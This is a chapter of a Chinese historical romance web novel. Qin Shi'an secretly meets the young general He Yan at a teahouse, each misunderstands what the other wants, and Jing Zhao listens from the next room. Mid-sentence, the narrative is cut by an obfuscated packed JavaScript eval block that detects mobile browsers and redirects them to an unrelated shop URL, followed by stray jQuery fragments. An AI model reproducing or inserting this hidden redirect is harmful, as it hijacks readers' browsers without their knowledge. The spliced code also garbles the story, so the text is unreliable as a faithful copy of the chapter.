9.竟要与人为妾?

作品:《奴本微芥

    虽然前几日的家宴上,秦时安当着众宅眷的面,站进了大房的阵营中,但“相看”的误会一日不解,大房便不会彻底接纳她。


    于是,她暗暗筹谋着如何解释的同时,想借中秋的契机,做些月饼点心给大房送去。


    幼时,每到秋日,天气转凉,她偶感风寒,不喜服用苦口的补药,母亲便请上京最有名的点心师傅为自己做些点心,将碾碎的药丸掺进点心里,骗她服下。


    后来,那师傅的手艺风靡上京,被请到了宫中做了御厨,临行前,母亲便向他讨要了这份做点心的方子。


    秦时安也因这张方子,糕点手艺也在上京贵女们之间传的响亮。


    可当她去了林宅后厨,准备着手时,却发现食材中少了一味酸杏,若舍弃了这一味,犹如糖醋排骨中少了糖一般,失了关键。


    于是,趁天色还早,便请示了林宅的管事,叫上了青梅和杏儿两个丫头,乘车去了汴县的果脯铺子。


    但汴县虽在上京近郊,却不比上京物什齐全,她寻了半晌,也没寻见酸杏的影子,只得买了些青梅脯子将就。


    回去的马车上,包裹着青梅果脯的纸袋中悄然掉出一张字条。


    上面写道:“马车左转,进西三巷,福来茶肆二楼。贺表兄。”


    秦时安眉梢一颤,将字条悄然团揉进指缝中,抬头看了眼坐在马车前头的青梅杏儿,淡然道:“左转进西三巷,我要去福来茶肆买些清茶,你二人在车上等我。”


    她抬手拂开车帘,向外探头张望,果然不远处有一家不起眼的茶肆。


    秦时安心想,贺琰既想见他,必然是认出了画像中的景昭。


    既然他想要人,她会以景昭为筹码,与他好好谈谈父兄的事宜。


    可秦时安不知道的是,那副景昭的画像早已被她的大舅父焚毁。


    茶肆二楼的竹编屏风后,雕刻着泥莲的风炉中火苗正旺,上面裹着半开的泉水,贺琰端详着被林家退回的那副“京城一笔”,琥珀色的瞳仁中,时而泛起光亮,时而又陷暗淡。


    身旁的小侍半蹲在茶案旁,用木镊仔细挑选着新茶,不解道:“这次带给林员外的信件并非绝密,奴替您送来便是,公子何必再跑这一趟,难不成是为了见……?”


    “水开了。”贺琰将画收起,故意打断道。


    那小侍笑笑,转身将已沸的茶壶挪至身旁的雕花小案上,道:“这些年,公子送出去的东西,还是第一次被退回来呢,既然退了公子的画,想必那林汐儿也不见得会赴约,公子也不要执意候在此处,等这壶茶见了底,便走吧。”


    话音刚落,屏风后便闪出了秦时安的身影。


    只见她呼吸急促,一身青荷碧水裙随着她起伏的喘息泛起涟漪,又抚平在乍起的秋风里。


    天高云淡,弥散着冷意的日光打在秦时安清秀端丽的脸上。


    贺琰抬眸,与她视线相撞。


    秦时安先施一礼,没等他开口,便透着急切道:“贺小将军,我一个女儿家,出门一趟实在不易,也不想与你拐弯抹角,我能答应出来见你,想必你也该明白我的意思。”


    秦时安暗忖,这贺琰是个聪明人,茶肆人多眼杂,不便挑明贺琰有个仇家藏在林宅,以免被人听去,生出口舌。


    但今日,自己既然答应与他相见,必然是意会贺琰,可以将景昭从自己身边带走。


    而贺琰并不知秦时安说的是景昭之事,此话入耳,却是另一番意会。


    她一个未出阁的女子,肯答应与他这个外男相见,还能是何意?


    对方到底是个姑娘,自然不能将话说的太直白。


    近日,母亲总是明里暗里的提醒自己,已到成家的年纪,就算没有心悦的姑娘,先填几个妾室,为贺家开枝散叶也是好的。


    贺家的意思一经散出,拜帖如雪花般堆满了府邸的门槛。


    那日,他奉父亲之命去林家例行公事,却见那本该呆在后宅的林家女眷,意外的出现在待客的前厅中,他便已了然林家大夫人暗地的心思。


    心中虽有不悦,但看在林家与父亲共为衡王谋事的份上,放下身份客气的与那林家长女寒暄了一番。


    却在几句闲聊中,发现这林汐儿的谈吐和学识不俗,倒也没有那么讨厌。


    直到前几日,他的小侍为他拿来那幅被林家退回的“京城一笔”……


    贺琰压下心中思绪,为自己斟了杯热茶道:“表妹的意思,我自然明白。”


    秦时安见他答应,不禁上前一步,干脆提裙坐在了茶案旁的团蒲上。


    茶肆的案桌窄短,秦时安欠身过来的一瞬,淡淡的青梅果脯香向贺琰扑面而来,他喉间微滚,颤着眼睫端起茶盏,抿了一口。


    秦时安环顾了眼四周,压低声音道:“你想要人,还望答应我一个请求。”


    “要人?!”贺琰手中的茶水险些晃出。


    他抬眸迎上对方毫无避讳的目光,心中泛起一丝不悦。


    如此露骨的话,怎能从一个未出阁的闺秀口中说出?更何况,那双看起来柔软可欺的眸瞳中,竟没有任何羞涩的成分。


    倒是自己,一身在战场上淬炼出的钢筋铁骨,险些被她的一句僭越之言而击碎。


    茶炉中的火苗被微风撩拨,火舌悸颤。


    贺琰避开她横冲直撞的目光,食指在茶杯的沿口打着旋儿,冷静再三,开口时竟没有自己预想到的那般拒绝。


    向来对婚姻之事十分抵触的他,竟脸颊生粉,垂首道:“……其实我也没有那么急。”


    秦时安见他犹豫,细眉浅蹙,心想难道那景昭并非是贺琰的仇人?而是个普通的债户?


    可那日看景昭躲藏的反应,二人之间的冤债必定不浅,而自己的预感一定不会出错。


    于是,秦时安抿了抿唇,再次许诺道:“人就在林宅,跑不了,我也能瞧出贺公子并非街坊传言的那般……”秦时安咽下了那句“孤傲势利,目中无人”,继而道:“想必公子也能猜出我的诉求,如今快到中秋,离我父兄流放北疆,还剩了半月的时间……”


    “你说什么?什么流放?”贺琰琥珀色的瞳仁微震,还未消退红晕的粉颊骤然抬起,“你?!你不是林汐儿?”


    秦时安一怔,原来这位贺小将军还被埋在上次相见的误会里。


    想来,他自离开林家也没有人跟他解释过自己的身份。


    于是,秦时安便言简意赅的将那日误会,原原本本的再次解释给了面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518614|140536||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前一脸诧异的男子。


    “所以,那日的时安错将贺公子误会成了我林家的表兄,不过想来,林老夫人的祖上与贺家也有些姻亲,所以贺公子便顺着我,自称了一声表兄。”


    贺琰的眸光不禁垂下,落在了自己端着茶盏的手指上,如此说来,她那日与他道的“反正早晚都是一家人”,说的不过是林家的公子罢了。


    少年的眼中滑过一丝连自己都无法察觉的落寞,神色再度肃冷,道:“关于你父兄的事……”


    没等他说完,秦时安忽而起身,于茶案前捏着裙角,竟扑通一声跪了下去。


    秋风渐急,将秦时安的一肩乌发吹起,与散在地面上的衣袂纠缠,她双手交叠在面前翻飞的碧落裙衫上,面色凝重的朝贺琰磕首施礼。


    “时安知道,秦家一案已无转圜,但贺小将军受陛下和衡王的青睐,六部官员对您也多有忌惮,时安不求能让父兄脱罪,只求贺小将军能向刑部的官员递句话,让压送流犯的官爷们对父兄照拂一二,我知那北上之路少不了苦头,可父亲本就有陈年腿疾,若任凭官差折磨,性命怕是堪忧……”


    贺琰不喜在他面前没有分寸之人。


    可面前碧落翻飞,裙角不识抬举的被风拂至他的靴背。


    伴着一股不同于寻常胭脂香气的青梅甜香,扰乱了他的清净。


    他唤她起身,她却无动于衷,沉静的眸底透着坚决:“时安知道贺小将军为难,无论您帮不帮秦家……”她忽而抬眸看他,水眸缱绻,许诺道:“人都是你的。”


    秦家一案正处在风口浪尖,即便贺琰不愿帮她,也在情理之中,但无论如何,景昭这个人她是卖定了,就算父兄之事没有落定,用景昭买贺琰一个人情也未尝不桩好买卖。


    贺琰听罢,呼吸微微一滞。


    她竟然说,无论如何,人都是他的……


    他轻咳了一声,将茶盏中凉了大半的茶水一饮而尽。


    面前的女子虽说是罪臣之后,但如今投奔了林家,身为林老夫人的亲外甥女,身份也是体面,犯不着因父兄之事做到这一步。


    正当贺琰不知该如何答复,茶肆楼下传来一阵幽泉击石般的卖唱声。


    女子嗓音浅淡,如风过耳,甚是好听。


    可唱的曲子却是早年兴于民间的“陈素怨”,讲了民女陈素卖身救父,最后被官僚欺辱致死,化作冤鬼寻仇的故事。


    贺琰本就心绪烦乱,此曲乍起,不由起身来到窗侧,将四敞的窗扇亲自关紧。


    呼啸的北风在巷口处被勒紧了喉咙,叫的愈发猖狂。


    而此刻,二人所在的茶肆隔间中,景昭正握着一只空了的茶盏,双臂散漫的耷在窗台处。


    他听着茶肆楼下的小曲儿,细品着隔壁二人的交谈。


    晨时,他本要外出办事,却听这丫头要外出采买,便暗随其后,想着有个照应。


    却无意撞见了她与贺琰的交涉。


    “呵,卖身救父……”向来对旁事无乏兴趣的他,在听罢二人谈话后,心情莫名晦涩。


    竟为了她的父兄,不惜与人为妾,倒也是个“孝女”。


    “俗气。”景昭眼底一瞬寥落,转身将手中的空盏狠狠的倒扣在了茶案上。